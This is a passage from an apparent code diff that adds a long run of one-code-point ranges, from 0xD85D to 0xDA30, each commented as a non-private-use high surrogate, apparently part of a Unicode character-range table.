+ [0xd85d, 0xd85d], /* Non Private Use High Surrogate */
+ [0xd85e, 0xd85e], /* Non Private Use High Surrogate */
+ [0xd85f, 0xd85f], /* Non Private Use High Surrogate */
+ [0xd860, 0xd860], /* Non Private Use High Surrogate */
+ [0xd861, 0xd861], /* Non Private Use High Surrogate */
+ [0xd862, 0xd862], /* Non Private Use High Surrogate */
+ [0xd863, 0xd863], /* Non Private Use High Surrogate */
+ [0xd864, 0xd864], /* Non Private Use High Surrogate */
+ [0xd865, 0xd865], /* Non Private Use High Surrogate */
+ [0xd866, 0xd866], /* Non Private Use High Surrogate */
+ [0xd867, 0xd867], /* Non Private Use High Surrogate */
+ [0xd868, 0xd868], /* Non Private Use High Surrogate */
+ [0xd869, 0xd869], /* Non Private Use High Surrogate */
+ [0xd86a, 0xd86a], /* Non Private Use High Surrogate */
+ [0xd86b, 0xd86b], /* Non Private Use High Surrogate */
+ [0xd86c, 0xd86c], /* Non Private Use High Surrogate */
+ [0xd86d, 0xd86d], /* Non Private Use High Surrogate */
+ [0xd86e, 0xd86e], /* Non Private Use High Surrogate */
+ [0xd86f, 0xd86f], /* Non Private Use High Surrogate */
+ [0xd870, 0xd870], /* Non Private Use High Surrogate */
+ [0xd871, 0xd871], /* Non Private Use High Surrogate */
+ [0xd872, 0xd872], /* Non Private Use High Surrogate */
+ [0xd873, 0xd873], /* Non Private Use High Surrogate */
+ [0xd874, 0xd874], /* Non Private Use High Surrogate */
+ [0xd875, 0xd875], /* Non Private Use High Surrogate */
+ [0xd876, 0xd876], /* Non Private Use High Surrogate */
+ [0xd877, 0xd877], /* Non Private Use High Surrogate */
+ [0xd878, 0xd878], /* Non Private Use High Surrogate */
+ [0xd879, 0xd879], /* Non Private Use High Surrogate */
+ [0xd87a, 0xd87a], /* Non Private Use High Surrogate */
+ [0xd87b, 0xd87b], /* Non Private Use High Surrogate */
+ [0xd87c, 0xd87c], /* Non Private Use High Surrogate */
+ [0xd87d, 0xd87d], /* Non Private Use High Surrogate */
+ [0xd87e, 0xd87e], /* Non Private Use High Surrogate */
+ [0xd87f, 0xd87f], /* Non Private Use High Surrogate */
+ [0xd880, 0xd880], /* Non Private Use High Surrogate */
+ [0xd881, 0xd881], /* Non Private Use High Surrogate */
+ [0xd882, 0xd882], /* Non Private Use High Surrogate */
+ [0xd883, 0xd883], /* Non Private Use High Surrogate */
+ [0xd884, 0xd884], /* Non Private Use High Surrogate */
+ [0xd885, 0xd885], /* Non Private Use High Surrogate */
+ [0xd886, 0xd886], /* Non Private Use High Surrogate */
+ [0xd887, 0xd887], /* Non Private Use High Surrogate */
+ [0xd888, 0xd888], /* Non Private Use High Surrogate */
+ [0xd889, 0xd889], /* Non Private Use High Surrogate */
+ [0xd88a, 0xd88a], /* Non Private Use High Surrogate */
+ [0xd88b, 0xd88b], /* Non Private Use High Surrogate */
+ [0xd88c, 0xd88c], /* Non Private Use High Surrogate */
+ [0xd88d, 0xd88d], /* Non Private Use High Surrogate */
+ [0xd88e, 0xd88e], /* Non Private Use High Surrogate */
+ [0xd88f, 0xd88f], /* Non Private Use High Surrogate */
+ [0xd890, 0xd890], /* Non Private Use High Surrogate */
+ [0xd891, 0xd891], /* Non Private Use High Surrogate */
+ [0xd892, 0xd892], /* Non Private Use High Surrogate */
+ [0xd893, 0xd893], /* Non Private Use High Surrogate */
+ [0xd894, 0xd894], /* Non Private Use High Surrogate */
+ [0xd895, 0xd895], /* Non Private Use High Surrogate */
+ [0xd896, 0xd896], /* Non Private Use High Surrogate */
+ [0xd897, 0xd897], /* Non Private Use High Surrogate */
+ [0xd898, 0xd898], /* Non Private Use High Surrogate */
+ [0xd899, 0xd899], /* Non Private Use High Surrogate */
+ [0xd89a, 0xd89a], /* Non Private Use High Surrogate */
+ [0xd89b, 0xd89b], /* Non Private Use High Surrogate */
+ [0xd89c, 0xd89c], /* Non Private Use High Surrogate */
+ [0xd89d, 0xd89d], /* Non Private Use High Surrogate */
+ [0xd89e, 0xd89e], /* Non Private Use High Surrogate */
+ [0xd89f, 0xd89f], /* Non Private Use High Surrogate */
+ [0xd8a0, 0xd8a0], /* Non Private Use High Surrogate */
+ [0xd8a1, 0xd8a1], /* Non Private Use High Surrogate */
+ [0xd8a2, 0xd8a2], /* Non Private Use High Surrogate */
+ [0xd8a3, 0xd8a3], /* Non Private Use High Surrogate */
+ [0xd8a4, 0xd8a4], /* Non Private Use High Surrogate */
+ [0xd8a5, 0xd8a5], /* Non Private Use High Surrogate */
+ [0xd8a6, 0xd8a6], /* Non Private Use High Surrogate */
+ [0xd8a7, 0xd8a7], /* Non Private Use High Surrogate */
+ [0xd8a8, 0xd8a8], /* Non Private Use High Surrogate */
+ [0xd8a9, 0xd8a9], /* Non Private Use High Surrogate */
+ [0xd8aa, 0xd8aa], /* Non Private Use High Surrogate */
+ [0xd8ab, 0xd8ab], /* Non Private Use High Surrogate */
+ [0xd8ac, 0xd8ac], /* Non Private Use High Surrogate */
+ [0xd8ad, 0xd8ad], /* Non Private Use High Surrogate */
+ [0xd8ae, 0xd8ae], /* Non Private Use High Surrogate */
+ [0xd8af, 0xd8af], /* Non Private Use High Surrogate */
+ [0xd8b0, 0xd8b0], /* Non Private Use High Surrogate */
+ [0xd8b1, 0xd8b1], /* Non Private Use High Surrogate */
+ [0xd8b2, 0xd8b2], /* Non Private Use High Surrogate */
+ [0xd8b3, 0xd8b3], /* Non Private Use High Surrogate */
+ [0xd8b4, 0xd8b4], /* Non Private Use High Surrogate */
+ [0xd8b5, 0xd8b5], /* Non Private Use High Surrogate */
+ [0xd8b6, 0xd8b6], /* Non Private Use High Surrogate */
+ [0xd8b7, 0xd8b7], /* Non Private Use High Surrogate */
+ [0xd8b8, 0xd8b8], /* Non Private Use High Surrogate */
+ [0xd8b9, 0xd8b9], /* Non Private Use High Surrogate */
+ [0xd8ba, 0xd8ba], /* Non Private Use High Surrogate */
+ [0xd8bb, 0xd8bb], /* Non Private Use High Surrogate */
+ [0xd8bc, 0xd8bc], /* Non Private Use High Surrogate */
+ [0xd8bd, 0xd8bd], /* Non Private Use High Surrogate */
+ [0xd8be, 0xd8be], /* Non Private Use High Surrogate */
+ [0xd8bf, 0xd8bf], /* Non Private Use High Surrogate */
+ [0xd8c0, 0xd8c0], /* Non Private Use High Surrogate */
+ [0xd8c1, 0xd8c1], /* Non Private Use High Surrogate */
+ [0xd8c2, 0xd8c2], /* Non Private Use High Surrogate */
+ [0xd8c3, 0xd8c3], /* Non Private Use High Surrogate */
+ [0xd8c4, 0xd8c4], /* Non Private Use High Surrogate */
+ [0xd8c5, 0xd8c5], /* Non Private Use High Surrogate */
+ [0xd8c6, 0xd8c6], /* Non Private Use High Surrogate */
+ [0xd8c7, 0xd8c7], /* Non Private Use High Surrogate */
+ [0xd8c8, 0xd8c8], /* Non Private Use High Surrogate */
+ [0xd8c9, 0xd8c9], /* Non Private Use High Surrogate */
+ [0xd8ca, 0xd8ca], /* Non Private Use High Surrogate */
+ [0xd8cb, 0xd8cb], /* Non Private Use High Surrogate */
+ [0xd8cc, 0xd8cc], /* Non Private Use High Surrogate */
+ [0xd8cd, 0xd8cd], /* Non Private Use High Surrogate */
+ [0xd8ce, 0xd8ce], /* Non Private Use High Surrogate */
+ [0xd8cf, 0xd8cf], /* Non Private Use High Surrogate */
+ [0xd8d0, 0xd8d0], /* Non Private Use High Surrogate */
+ [0xd8d1, 0xd8d1], /* Non Private Use High Surrogate */
+ [0xd8d2, 0xd8d2], /* Non Private Use High Surrogate */
+ [0xd8d3, 0xd8d3], /* Non Private Use High Surrogate */
+ [0xd8d4, 0xd8d4], /* Non Private Use High Surrogate */
+ [0xd8d5, 0xd8d5], /* Non Private Use High Surrogate */
+ [0xd8d6, 0xd8d6], /* Non Private Use High Surrogate */
+ [0xd8d7, 0xd8d7], /* Non Private Use High Surrogate */
+ [0xd8d8, 0xd8d8], /* Non Private Use High Surrogate */
+ [0xd8d9, 0xd8d9], /* Non Private Use High Surrogate */
+ [0xd8da, 0xd8da], /* Non Private Use High Surrogate */
+ [0xd8db, 0xd8db], /* Non Private Use High Surrogate */
+ [0xd8dc, 0xd8dc], /* Non Private Use High Surrogate */
+ [0xd8dd, 0xd8dd], /* Non Private Use High Surrogate */
+ [0xd8de, 0xd8de], /* Non Private Use High Surrogate */
+ [0xd8df, 0xd8df], /* Non Private Use High Surrogate */
+ [0xd8e0, 0xd8e0], /* Non Private Use High Surrogate */
+ [0xd8e1, 0xd8e1], /* Non Private Use High Surrogate */
+ [0xd8e2, 0xd8e2], /* Non Private Use High Surrogate */
+ [0xd8e3, 0xd8e3], /* Non Private Use High Surrogate */
+ [0xd8e4, 0xd8e4], /* Non Private Use High Surrogate */
+ [0xd8e5, 0xd8e5], /* Non Private Use High Surrogate */
+ [0xd8e6, 0xd8e6], /* Non Private Use High Surrogate */
+ [0xd8e7, 0xd8e7], /* Non Private Use High Surrogate */
+ [0xd8e8, 0xd8e8], /* Non Private Use High Surrogate */
+ [0xd8e9, 0xd8e9], /* Non Private Use High Surrogate */
+ [0xd8ea, 0xd8ea], /* Non Private Use High Surrogate */
+ [0xd8eb, 0xd8eb], /* Non Private Use High Surrogate */
+ [0xd8ec, 0xd8ec], /* Non Private Use High Surrogate */
+ [0xd8ed, 0xd8ed], /* Non Private Use High Surrogate */
+ [0xd8ee, 0xd8ee], /* Non Private Use High Surrogate */
+ [0xd8ef, 0xd8ef], /* Non Private Use High Surrogate */
+ [0xd8f0, 0xd8f0], /* Non Private Use High Surrogate */
+ [0xd8f1, 0xd8f1], /* Non Private Use High Surrogate */
+ [0xd8f2, 0xd8f2], /* Non Private Use High Surrogate */
+ [0xd8f3, 0xd8f3], /* Non Private Use High Surrogate */
+ [0xd8f4, 0xd8f4], /* Non Private Use High Surrogate */
+ [0xd8f5, 0xd8f5], /* Non Private Use High Surrogate */
+ [0xd8f6, 0xd8f6], /* Non Private Use High Surrogate */
+ [0xd8f7, 0xd8f7], /* Non Private Use High Surrogate */
+ [0xd8f8, 0xd8f8], /* Non Private Use High Surrogate */
+ [0xd8f9, 0xd8f9], /* Non Private Use High Surrogate */
+ [0xd8fa, 0xd8fa], /* Non Private Use High Surrogate */
+ [0xd8fb, 0xd8fb], /* Non Private Use High Surrogate */
+ [0xd8fc, 0xd8fc], /* Non Private Use High Surrogate */
+ [0xd8fd, 0xd8fd], /* Non Private Use High Surrogate */
+ [0xd8fe, 0xd8fe], /* Non Private Use High Surrogate */
+ [0xd8ff, 0xd8ff], /* Non Private Use High Surrogate */
+ [0xd900, 0xd900], /* Non Private Use High Surrogate */
+ [0xd901, 0xd901], /* Non Private Use High Surrogate */
+ [0xd902, 0xd902], /* Non Private Use High Surrogate */
+ [0xd903, 0xd903], /* Non Private Use High Surrogate */
+ [0xd904, 0xd904], /* Non Private Use High Surrogate */
+ [0xd905, 0xd905], /* Non Private Use High Surrogate */
+ [0xd906, 0xd906], /* Non Private Use High Surrogate */
+ [0xd907, 0xd907], /* Non Private Use High Surrogate */
+ [0xd908, 0xd908], /* Non Private Use High Surrogate */
+ [0xd909, 0xd909], /* Non Private Use High Surrogate */
+ [0xd90a, 0xd90a], /* Non Private Use High Surrogate */
+ [0xd90b, 0xd90b], /* Non Private Use High Surrogate */
+ [0xd90c, 0xd90c], /* Non Private Use High Surrogate */
+ [0xd90d, 0xd90d], /* Non Private Use High Surrogate */
+ [0xd90e, 0xd90e], /* Non Private Use High Surrogate */
+ [0xd90f, 0xd90f], /* Non Private Use High Surrogate */
+ [0xd910, 0xd910], /* Non Private Use High Surrogate */
+ [0xd911, 0xd911], /* Non Private Use High Surrogate */
+ [0xd912, 0xd912], /* Non Private Use High Surrogate */
+ [0xd913, 0xd913], /* Non Private Use High Surrogate */
+ [0xd914, 0xd914], /* Non Private Use High Surrogate */
+ [0xd915, 0xd915], /* Non Private Use High Surrogate */
+ [0xd916, 0xd916], /* Non Private Use High Surrogate */
+ [0xd917, 0xd917], /* Non Private Use High Surrogate */
+ [0xd918, 0xd918], /* Non Private Use High Surrogate */
+ [0xd919, 0xd919], /* Non Private Use High Surrogate */
+ [0xd91a, 0xd91a], /* Non Private Use High Surrogate */
+ [0xd91b, 0xd91b], /* Non Private Use High Surrogate */
+ [0xd91c, 0xd91c], /* Non Private Use High Surrogate */
+ [0xd91d, 0xd91d], /* Non Private Use High Surrogate */
+ [0xd91e, 0xd91e], /* Non Private Use High Surrogate */
+ [0xd91f, 0xd91f], /* Non Private Use High Surrogate */
+ [0xd920, 0xd920], /* Non Private Use High Surrogate */
+ [0xd921, 0xd921], /* Non Private Use High Surrogate */
+ [0xd922, 0xd922], /* Non Private Use High Surrogate */
+ [0xd923, 0xd923], /* Non Private Use High Surrogate */
+ [0xd924, 0xd924], /* Non Private Use High Surrogate */
+ [0xd925, 0xd925], /* Non Private Use High Surrogate */
+ [0xd926, 0xd926], /* Non Private Use High Surrogate */
+ [0xd927, 0xd927], /* Non Private Use High Surrogate */
+ [0xd928, 0xd928], /* Non Private Use High Surrogate */
+ [0xd929, 0xd929], /* Non Private Use High Surrogate */
+ [0xd92a, 0xd92a], /* Non Private Use High Surrogate */
+ [0xd92b, 0xd92b], /* Non Private Use High Surrogate */
+ [0xd92c, 0xd92c], /* Non Private Use High Surrogate */
+ [0xd92d, 0xd92d], /* Non Private Use High Surrogate */
+ [0xd92e, 0xd92e], /* Non Private Use High Surrogate */
+ [0xd92f, 0xd92f], /* Non Private Use High Surrogate */
+ [0xd930, 0xd930], /* Non Private Use High Surrogate */
+ [0xd931, 0xd931], /* Non Private Use High Surrogate */
+ [0xd932, 0xd932], /* Non Private Use High Surrogate */
+ [0xd933, 0xd933], /* Non Private Use High Surrogate */
+ [0xd934, 0xd934], /* Non Private Use High Surrogate */
+ [0xd935, 0xd935], /* Non Private Use High Surrogate */
+ [0xd936, 0xd936], /* Non Private Use High Surrogate */
+ [0xd937, 0xd937], /* Non Private Use High Surrogate */
+ [0xd938, 0xd938], /* Non Private Use High Surrogate */
+ [0xd939, 0xd939], /* Non Private Use High Surrogate */
+ [0xd93a, 0xd93a], /* Non Private Use High Surrogate */
+ [0xd93b, 0xd93b], /* Non Private Use High Surrogate */
+ [0xd93c, 0xd93c], /* Non Private Use High Surrogate */
+ [0xd93d, 0xd93d], /* Non Private Use High Surrogate */
+ [0xd93e, 0xd93e], /* Non Private Use High Surrogate */
+ [0xd93f, 0xd93f], /* Non Private Use High Surrogate */
+ [0xd940, 0xd940], /* Non Private Use High Surrogate */
+ [0xd941, 0xd941], /* Non Private Use High Surrogate */
+ [0xd942, 0xd942], /* Non Private Use High Surrogate */
+ [0xd943, 0xd943], /* Non Private Use High Surrogate */
+ [0xd944, 0xd944], /* Non Private Use High Surrogate */
+ [0xd945, 0xd945], /* Non Private Use High Surrogate */
+ [0xd946, 0xd946], /* Non Private Use High Surrogate */
+ [0xd947, 0xd947], /* Non Private Use High Surrogate */
+ [0xd948, 0xd948], /* Non Private Use High Surrogate */
+ [0xd949, 0xd949], /* Non Private Use High Surrogate */
+ [0xd94a, 0xd94a], /* Non Private Use High Surrogate */
+ [0xd94b, 0xd94b], /* Non Private Use High Surrogate */
+ [0xd94c, 0xd94c], /* Non Private Use High Surrogate */
+ [0xd94d, 0xd94d], /* Non Private Use High Surrogate */
+ [0xd94e, 0xd94e], /* Non Private Use High Surrogate */
+ [0xd94f, 0xd94f], /* Non Private Use High Surrogate */
+ [0xd950, 0xd950], /* Non Private Use High Surrogate */
+ [0xd951, 0xd951], /* Non Private Use High Surrogate */
+ [0xd952, 0xd952], /* Non Private Use High Surrogate */
+ [0xd953, 0xd953], /* Non Private Use High Surrogate */
+ [0xd954, 0xd954], /* Non Private Use High Surrogate */
+ [0xd955, 0xd955], /* Non Private Use High Surrogate */
+ [0xd956, 0xd956], /* Non Private Use High Surrogate */
+ [0xd957, 0xd957], /* Non Private Use High Surrogate */
+ [0xd958, 0xd958], /* Non Private Use High Surrogate */
+ [0xd959, 0xd959], /* Non Private Use High Surrogate */
+ [0xd95a, 0xd95a], /* Non Private Use High Surrogate */
+ [0xd95b, 0xd95b], /* Non Private Use High Surrogate */
+ [0xd95c, 0xd95c], /* Non Private Use High Surrogate */
+ [0xd95d, 0xd95d], /* Non Private Use High Surrogate */
+ [0xd95e, 0xd95e], /* Non Private Use High Surrogate */
+ [0xd95f, 0xd95f], /* Non Private Use High Surrogate */
+ [0xd960, 0xd960], /* Non Private Use High Surrogate */
+ [0xd961, 0xd961], /* Non Private Use High Surrogate */
+ [0xd962, 0xd962], /* Non Private Use High Surrogate */
+ [0xd963, 0xd963], /* Non Private Use High Surrogate */
+ [0xd964, 0xd964], /* Non Private Use High Surrogate */
+ [0xd965, 0xd965], /* Non Private Use High Surrogate */
+ [0xd966, 0xd966], /* Non Private Use High Surrogate */
+ [0xd967, 0xd967], /* Non Private Use High Surrogate */
+ [0xd968, 0xd968], /* Non Private Use High Surrogate */
+ [0xd969, 0xd969], /* Non Private Use High Surrogate */
+ [0xd96a, 0xd96a], /* Non Private Use High Surrogate */
+ [0xd96b, 0xd96b], /* Non Private Use High Surrogate */
+ [0xd96c, 0xd96c], /* Non Private Use High Surrogate */
+ [0xd96d, 0xd96d], /* Non Private Use High Surrogate */
+ [0xd96e, 0xd96e], /* Non Private Use High Surrogate */
+ [0xd96f, 0xd96f], /* Non Private Use High Surrogate */
+ [0xd970, 0xd970], /* Non Private Use High Surrogate */
+ [0xd971, 0xd971], /* Non Private Use High Surrogate */
+ [0xd972, 0xd972], /* Non Private Use High Surrogate */
+ [0xd973, 0xd973], /* Non Private Use High Surrogate */
+ [0xd974, 0xd974], /* Non Private Use High Surrogate */
+ [0xd975, 0xd975], /* Non Private Use High Surrogate */
+ [0xd976, 0xd976], /* Non Private Use High Surrogate */
+ [0xd977, 0xd977], /* Non Private Use High Surrogate */
+ [0xd978, 0xd978], /* Non Private Use High Surrogate */
+ [0xd979, 0xd979], /* Non Private Use High Surrogate */
+ [0xd97a, 0xd97a], /* Non Private Use High Surrogate */
+ [0xd97b, 0xd97b], /* Non Private Use High Surrogate */
+ [0xd97c, 0xd97c], /* Non Private Use High Surrogate */
+ [0xd97d, 0xd97d], /* Non Private Use High Surrogate */
+ [0xd97e, 0xd97e], /* Non Private Use High Surrogate */
+ [0xd97f, 0xd97f], /* Non Private Use High Surrogate */
+ [0xd980, 0xd980], /* Non Private Use High Surrogate */
+ [0xd981, 0xd981], /* Non Private Use High Surrogate */
+ [0xd982, 0xd982], /* Non Private Use High Surrogate */
+ [0xd983, 0xd983], /* Non Private Use High Surrogate */
+ [0xd984, 0xd984], /* Non Private Use High Surrogate */
+ [0xd985, 0xd985], /* Non Private Use High Surrogate */
+ [0xd986, 0xd986], /* Non Private Use High Surrogate */
+ [0xd987, 0xd987], /* Non Private Use High Surrogate */
+ [0xd988, 0xd988], /* Non Private Use High Surrogate */
+ [0xd989, 0xd989], /* Non Private Use High Surrogate */
+ [0xd98a, 0xd98a], /* Non Private Use High Surrogate */
+ [0xd98b, 0xd98b], /* Non Private Use High Surrogate */
+ [0xd98c, 0xd98c], /* Non Private Use High Surrogate */
+ [0xd98d, 0xd98d], /* Non Private Use High Surrogate */
+ [0xd98e, 0xd98e], /* Non Private Use High Surrogate */
+ [0xd98f, 0xd98f], /* Non Private Use High Surrogate */
+ [0xd990, 0xd990], /* Non Private Use High Surrogate */
+ [0xd991, 0xd991], /* Non Private Use High Surrogate */
+ [0xd992, 0xd992], /* Non Private Use High Surrogate */
+ [0xd993, 0xd993], /* Non Private Use High Surrogate */
+ [0xd994, 0xd994], /* Non Private Use High Surrogate */
+ [0xd995, 0xd995], /* Non Private Use High Surrogate */
+ [0xd996, 0xd996], /* Non Private Use High Surrogate */
+ [0xd997, 0xd997], /* Non Private Use High Surrogate */
+ [0xd998, 0xd998], /* Non Private Use High Surrogate */
+ [0xd999, 0xd999], /* Non Private Use High Surrogate */
+ [0xd99a, 0xd99a], /* Non Private Use High Surrogate */
+ [0xd99b, 0xd99b], /* Non Private Use High Surrogate */
+ [0xd99c, 0xd99c], /* Non Private Use High Surrogate */
+ [0xd99d, 0xd99d], /* Non Private Use High Surrogate */
+ [0xd99e, 0xd99e], /* Non Private Use High Surrogate */
+ [0xd99f, 0xd99f], /* Non Private Use High Surrogate */
+ [0xd9a0, 0xd9a0], /* Non Private Use High Surrogate */
+ [0xd9a1, 0xd9a1], /* Non Private Use High Surrogate */
+ [0xd9a2, 0xd9a2], /* Non Private Use High Surrogate */
+ [0xd9a3, 0xd9a3], /* Non Private Use High Surrogate */
+ [0xd9a4, 0xd9a4], /* Non Private Use High Surrogate */
+ [0xd9a5, 0xd9a5], /* Non Private Use High Surrogate */
+ [0xd9a6, 0xd9a6], /* Non Private Use High Surrogate */
+ [0xd9a7, 0xd9a7], /* Non Private Use High Surrogate */
+ [0xd9a8, 0xd9a8], /* Non Private Use High Surrogate */
+ [0xd9a9, 0xd9a9], /* Non Private Use High Surrogate */
+ [0xd9aa, 0xd9aa], /* Non Private Use High Surrogate */
+ [0xd9ab, 0xd9ab], /* Non Private Use High Surrogate */
+ [0xd9ac, 0xd9ac], /* Non Private Use High Surrogate */
+ [0xd9ad, 0xd9ad], /* Non Private Use High Surrogate */
+ [0xd9ae, 0xd9ae], /* Non Private Use High Surrogate */
+ [0xd9af, 0xd9af], /* Non Private Use High Surrogate */
+ [0xd9b0, 0xd9b0], /* Non Private Use High Surrogate */
+ [0xd9b1, 0xd9b1], /* Non Private Use High Surrogate */
+ [0xd9b2, 0xd9b2], /* Non Private Use High Surrogate */
+ [0xd9b3, 0xd9b3], /* Non Private Use High Surrogate */
+ [0xd9b4, 0xd9b4], /* Non Private Use High Surrogate */
+ [0xd9b5, 0xd9b5], /* Non Private Use High Surrogate */
+ [0xd9b6, 0xd9b6], /* Non Private Use High Surrogate */
+ [0xd9b7, 0xd9b7], /* Non Private Use High Surrogate */
+ [0xd9b8, 0xd9b8], /* Non Private Use High Surrogate */
+ [0xd9b9, 0xd9b9], /* Non Private Use High Surrogate */
+ [0xd9ba, 0xd9ba], /* Non Private Use High Surrogate */
+ [0xd9bb, 0xd9bb], /* Non Private Use High Surrogate */
+ [0xd9bc, 0xd9bc], /* Non Private Use High Surrogate */
+ [0xd9bd, 0xd9bd], /* Non Private Use High Surrogate */
+ [0xd9be, 0xd9be], /* Non Private Use High Surrogate */
+ [0xd9bf, 0xd9bf], /* Non Private Use High Surrogate */
+ [0xd9c0, 0xd9c0], /* Non Private Use High Surrogate */
+ [0xd9c1, 0xd9c1], /* Non Private Use High Surrogate */
+ [0xd9c2, 0xd9c2], /* Non Private Use High Surrogate */
+ [0xd9c3, 0xd9c3], /* Non Private Use High Surrogate */
+ [0xd9c4, 0xd9c4], /* Non Private Use High Surrogate */
+ [0xd9c5, 0xd9c5], /* Non Private Use High Surrogate */
+ [0xd9c6, 0xd9c6], /* Non Private Use High Surrogate */
+ [0xd9c7, 0xd9c7], /* Non Private Use High Surrogate */
+ [0xd9c8, 0xd9c8], /* Non Private Use High Surrogate */
+ [0xd9c9, 0xd9c9], /* Non Private Use High Surrogate */
+ [0xd9ca, 0xd9ca], /* Non Private Use High Surrogate */
+ [0xd9cb, 0xd9cb], /* Non Private Use High Surrogate */
+ [0xd9cc, 0xd9cc], /* Non Private Use High Surrogate */
+ [0xd9cd, 0xd9cd], /* Non Private Use High Surrogate */
+ [0xd9ce, 0xd9ce], /* Non Private Use High Surrogate */
+ [0xd9cf, 0xd9cf], /* Non Private Use High Surrogate */
+ [0xd9d0, 0xd9d0], /* Non Private Use High Surrogate */
+ [0xd9d1, 0xd9d1], /* Non Private Use High Surrogate */
+ [0xd9d2, 0xd9d2], /* Non Private Use High Surrogate */
+ [0xd9d3, 0xd9d3], /* Non Private Use High Surrogate */
+ [0xd9d4, 0xd9d4], /* Non Private Use High Surrogate */
+ [0xd9d5, 0xd9d5], /* Non Private Use High Surrogate */
+ [0xd9d6, 0xd9d6], /* Non Private Use High Surrogate */
+ [0xd9d7, 0xd9d7], /* Non Private Use High Surrogate */
+ [0xd9d8, 0xd9d8], /* Non Private Use High Surrogate */
+ [0xd9d9, 0xd9d9], /* Non Private Use High Surrogate */
+ [0xd9da, 0xd9da], /* Non Private Use High Surrogate */
+ [0xd9db, 0xd9db], /* Non Private Use High Surrogate */
+ [0xd9dc, 0xd9dc], /* Non Private Use High Surrogate */
+ [0xd9dd, 0xd9dd], /* Non Private Use High Surrogate */
+ [0xd9de, 0xd9de], /* Non Private Use High Surrogate */
+ [0xd9df, 0xd9df], /* Non Private Use High Surrogate */
+ [0xd9e0, 0xd9e0], /* Non Private Use High Surrogate */
+ [0xd9e1, 0xd9e1], /* Non Private Use High Surrogate */
+ [0xd9e2, 0xd9e2], /* Non Private Use High Surrogate */
+ [0xd9e3, 0xd9e3], /* Non Private Use High Surrogate */
+ [0xd9e4, 0xd9e4], /* Non Private Use High Surrogate */
+ [0xd9e5, 0xd9e5], /* Non Private Use High Surrogate */
+ [0xd9e6, 0xd9e6], /* Non Private Use High Surrogate */
+ [0xd9e7, 0xd9e7], /* Non Private Use High Surrogate */
+ [0xd9e8, 0xd9e8], /* Non Private Use High Surrogate */
+ [0xd9e9, 0xd9e9], /* Non Private Use High Surrogate */
+ [0xd9ea, 0xd9ea], /* Non Private Use High Surrogate */
+ [0xd9eb, 0xd9eb], /* Non Private Use High Surrogate */
+ [0xd9ec, 0xd9ec], /* Non Private Use High Surrogate */
+ [0xd9ed, 0xd9ed], /* Non Private Use High Surrogate */
+ [0xd9ee, 0xd9ee], /* Non Private Use High Surrogate */
+ [0xd9ef, 0xd9ef], /* Non Private Use High Surrogate */
+ [0xd9f0, 0xd9f0], /* Non Private Use High Surrogate */
+ [0xd9f1, 0xd9f1], /* Non Private Use High Surrogate */
+ [0xd9f2, 0xd9f2], /* Non Private Use High Surrogate */
+ [0xd9f3, 0xd9f3], /* Non Private Use High Surrogate */
+ [0xd9f4, 0xd9f4], /* Non Private Use High Surrogate */
+ [0xd9f5, 0xd9f5], /* Non Private Use High Surrogate */
+ [0xd9f6, 0xd9f6], /* Non Private Use High Surrogate */
+ [0xd9f7, 0xd9f7], /* Non Private Use High Surrogate */
+ [0xd9f8, 0xd9f8], /* Non Private Use High Surrogate */
+ [0xd9f9, 0xd9f9], /* Non Private Use High Surrogate */
+ [0xd9fa, 0xd9fa], /* Non Private Use High Surrogate */
+ [0xd9fb, 0xd9fb], /* Non Private Use High Surrogate */
+ [0xd9fc, 0xd9fc], /* Non Private Use High Surrogate */
+ [0xd9fd, 0xd9fd], /* Non Private Use High Surrogate */
+ [0xd9fe, 0xd9fe], /* Non Private Use High Surrogate */
+ [0xd9ff, 0xd9ff], /* Non Private Use High Surrogate */
+ [0xda00, 0xda00], /* Non Private Use High Surrogate */
+ [0xda01, 0xda01], /* Non Private Use High Surrogate */
+ [0xda02, 0xda02], /* Non Private Use High Surrogate */
+ [0xda03, 0xda03], /* Non Private Use High Surrogate */
+ [0xda04, 0xda04], /* Non Private Use High Surrogate */
+ [0xda05, 0xda05], /* Non Private Use High Surrogate */
+ [0xda06, 0xda06], /* Non Private Use High Surrogate */
+ [0xda07, 0xda07], /* Non Private Use High Surrogate */
+ [0xda08, 0xda08], /* Non Private Use High Surrogate */
+ [0xda09, 0xda09], /* Non Private Use High Surrogate */
+ [0xda0a, 0xda0a], /* Non Private Use High Surrogate */
+ [0xda0b, 0xda0b], /* Non Private Use High Surrogate */
+ [0xda0c, 0xda0c], /* Non Private Use High Surrogate */
+ [0xda0d, 0xda0d], /* Non Private Use High Surrogate */
+ [0xda0e, 0xda0e], /* Non Private Use High Surrogate */
+ [0xda0f, 0xda0f], /* Non Private Use High Surrogate */
+ [0xda10, 0xda10], /* Non Private Use High Surrogate */
+ [0xda11, 0xda11], /* Non Private Use High Surrogate */
+ [0xda12, 0xda12], /* Non Private Use High Surrogate */
+ [0xda13, 0xda13], /* Non Private Use High Surrogate */
+ [0xda14, 0xda14], /* Non Private Use High Surrogate */
+ [0xda15, 0xda15], /* Non Private Use High Surrogate */
+ [0xda16, 0xda16], /* Non Private Use High Surrogate */
+ [0xda17, 0xda17], /* Non Private Use High Surrogate */
+ [0xda18, 0xda18], /* Non Private Use High Surrogate */
+ [0xda19, 0xda19], /* Non Private Use High Surrogate */
+ [0xda1a, 0xda1a], /* Non Private Use High Surrogate */
+ [0xda1b, 0xda1b], /* Non Private Use High Surrogate */
+ [0xda1c, 0xda1c], /* Non Private Use High Surrogate */
+ [0xda1d, 0xda1d], /* Non Private Use High Surrogate */
+ [0xda1e, 0xda1e], /* Non Private Use High Surrogate */
+ [0xda1f, 0xda1f], /* Non Private Use High Surrogate */
+ [0xda20, 0xda20], /* Non Private Use High Surrogate */
+ [0xda21, 0xda21], /* Non Private Use High Surrogate */
+ [0xda22, 0xda22], /* Non Private Use High Surrogate */
+ [0xda23, 0xda23], /* Non Private Use High Surrogate */
+ [0xda24, 0xda24], /* Non Private Use High Surrogate */
+ [0xda25, 0xda25], /* Non Private Use High Surrogate */
+ [0xda26, 0xda26], /* Non Private Use High Surrogate */
+ [0xda27, 0xda27], /* Non Private Use High Surrogate */
+ [0xda28, 0xda28], /* Non Private Use High Surrogate */
+ [0xda29, 0xda29], /* Non Private Use High Surrogate */
+ [0xda2a, 0xda2a], /* Non Private Use High Surrogate */
+ [0xda2b, 0xda2b], /* Non Private Use High Surrogate */
+ [0xda2c, 0xda2c], /* Non Private Use High Surrogate */
+ [0xda2d, 0xda2d], /* Non Private Use High Surrogate */
+ [0xda2e, 0xda2e], /* Non Private Use High Surrogate */
+ [0xda2f, 0xda2f], /* Non Private Use High Surrogate */
+ [0xda30, 0xda30], /* Non Private Use High Surrogate */
